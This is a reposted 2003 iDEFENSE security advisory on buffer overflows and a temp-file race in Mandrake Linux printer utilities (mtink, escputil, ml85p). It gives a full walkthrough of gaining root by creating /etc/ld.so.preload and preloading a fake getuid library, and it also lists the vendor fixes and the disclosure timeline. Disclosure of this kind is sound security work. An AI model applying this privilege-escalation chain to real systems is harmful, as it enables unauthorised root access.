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Home » Hacking News » iDEFENSE Security Advisory 01.21.03: Buffer Overflows in Mandrake Linux printer

iDEFENSE Security Advisory 01.21.03: Buffer Overflows in Mandrake Linux printer

by Nikola Strahija on January 22nd, 2003 Three vulnerabilities exist, the worst of which allows local root compromise of a target system.


iDEFENSE Security Advisory 01.21.03: Buffer Overflows in Mandrake Linux
printer-drivers Package
http://www.idefense.com/advisory/01.21.03.txt
January 21, 2003

I. BACKGROUND

MandrakeSoft Inc.'s Mandrake Linux includes the printer-drivers package in
most default installations. Specifically, the following three binaries are
included:

mtink: a status monitor that tracks remaining ink quantity, printing of
test patterns, and changing and cleaning cartridges, etc. It is maintained
by Jean-Jacques Sarton ([email protected]).

escputil: a utility to clean and align the heads of Epson Stylus printers.
It also checks current ink levels in the printer. It is maintained by
Robert Krawitz ([email protected]) and Mike Sweet.

ml85p: a Linux driver for Samsung ML-85G series printers. It is maintained
by Rildo Pragana ([email protected]).


II. DESCRIPTION

Three vulnerabilities exist, the worst of which allows local root
compromise of a target system.

VULNERABILITY ONE: The mtink binary, installed set group id (gid) 'sys',
contains a buffer overflow in its handling of the HOME environment
variable. Successful exploitation provides an attacker with 'sys' group
privileges. The following snippet contains the offending segment of code:

void readRc(int idx)
{
FILE *fp;
char rcPath[1024];
...
sprintf(rcPath,"%s/.mtinkrc",getenv("HOME"));

VULNERABILITY TWO: The escputil binary, installed set gid 'sys',contains a
buffer overflow in its parsing of the printer-name command line argument.
Successful exploitation provides an attacker with 'sys' group privileges.

VULNERABILITY THREE: The ml85p binary, installed set user id root,
contains a race condition in its opening of temporary files. Successful
exploitation provides an attacker with the ability to create or empty a
file with super user privileges. The following snippet contains the
offending segment of code:

sprintf(gname,"/tmp/mlg85p%d",time(0));
if (!(cbmf = fopen(gname,"w+"))) {

An attacker can easily guess the name of a temporary file and then link
the guessed file to a file at another location. If the other file does not
exist, it is created world-writeable; if it does exist, the contents of
the file are lost. ml85p is, by default, installed without execute
permissions for 'other':

$ ls -l /usr/bin/ml85p
- -rwsr-x--- 1 root sys 12344 Sep 17 12:40 /usr/bin/ml85p*

The binary, however, does provide execute permissions to the 'sys' group,
whose privileges can be gained using either of the two exploits in
VULNERABILITY ONE or TWO. Once 'sys' privileges are obtained, an attacker
can exploit this race condition.

The following example walks through a sample attack utilizing the
above-described methods:

$ id
uid=501(farmer) gid=501(farmer) groups=501(farmer)

$ ./escputil_ex
Usage : ./escputil_ex [offset]
Address : 0xbffff6b0
Exploiting...
Escputil version 4.2.2, Copyright (C) 2000-2001 Robert Krawitz
Escputil comes with ABSOLUTELY NO WARRANTY; for details type 'escputil -l'
This is free software, and you are welcome to redistribute it
under certain conditions; type 'escputil -l' for details.
Cleaning heads...
lpr: unable to print file: client-error-not-found
/etc/profile.d/alias.sh:31: parse error: condition expected: !=

$ id
uid=501(farmer) gid=501(farmer) egid=3(sys) groups=501(farmer)

$ ls -l /etc/ld.so.preload
ls: /etc/ld.so.preload: No such file or directory

$ ./ml85p_ex /etc/ld.so.preload
Press a key to clean/create /etc/ld.so.preload file
Wrong file format.
file position: ffffffff

$ ls -l /etc/ld.so.preload
- -rw-rw-rw- 1 root sys 0 Oct 21 09:09 /etc/ld.so.preload

$ cat > /tmp/lib.c < heredoc> int getuid(void) { return 0; }
heredoc> EOF

$ gcc -fPIC -c /tmp/lib.c
$ gcc -o /tmp/lib.so -shared /tmp/lib.o

$ echo "/tmp/lib.so" > /etc/ld.so.preload

$ su -

# id
uid=0(root) gid=0(root) groups=0(root)


III. ANALYSIS

Any attacker with local access to a targeted system can launch this
attack. The ability to empty or create with root privileges any file on
the file system provides an attacker with many avenues of exploitation.
The above-described example is just one way of quickly gaining super user
privileges on a targeted system.


IV. DETECTION

Mandrake Linux 9.0 is vulnerable. By default, it includes the following
versions of the printer-drivers package:

printer-utils-1.0-76mdk
printer-filters-1.0-76mdk


V. VENDOR FIX / RESPONSE

MandrakeSoft has identified the problems and applied author-provided fixes
to the escputil and mtink vulnerabilities. A patch written by Till
Kamppeter was applied to ml85p to fix that vulnerability. Updates are
provided for Mandrake Linux 8.1 through 9.0 for the printer-drivers
packages, and ghostscript in 8.0 to fix these vulnerabilities
(MDKSA-2003:010).


VI. DISCLOSURE TIMELINE

10/06/2002 Issues disclosed to iDEFENSE
12/26/2002 Issues disclosed to [email protected],
[email protected], [email protected], and
[email protected]
12/26/2002 Issues disclosed to iDEFENSE clients
12/26/2002 Vendor responses from [email protected],
[email protected]
12/30/2002 Response from Vincent Danen ([email protected])
01/21/2003 Coordinated public disclosure


VIII. CREDIT

Karol Wiesek ([email protected]) discovered these vulnerabilities.



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About iDEFENSE:

iDEFENSE is a global security intelligence company that proactively
monitors sources throughout the world from technical
vulnerabilities and hacker profiling to the global spread of viruses
and other malicious code. Our security intelligence services provide
decision-makers, frontline security professionals and network
administrators with timely access to actionable intelligence
and decision support on cyber-related threats. For more information,
visit http://www.idefense.com .


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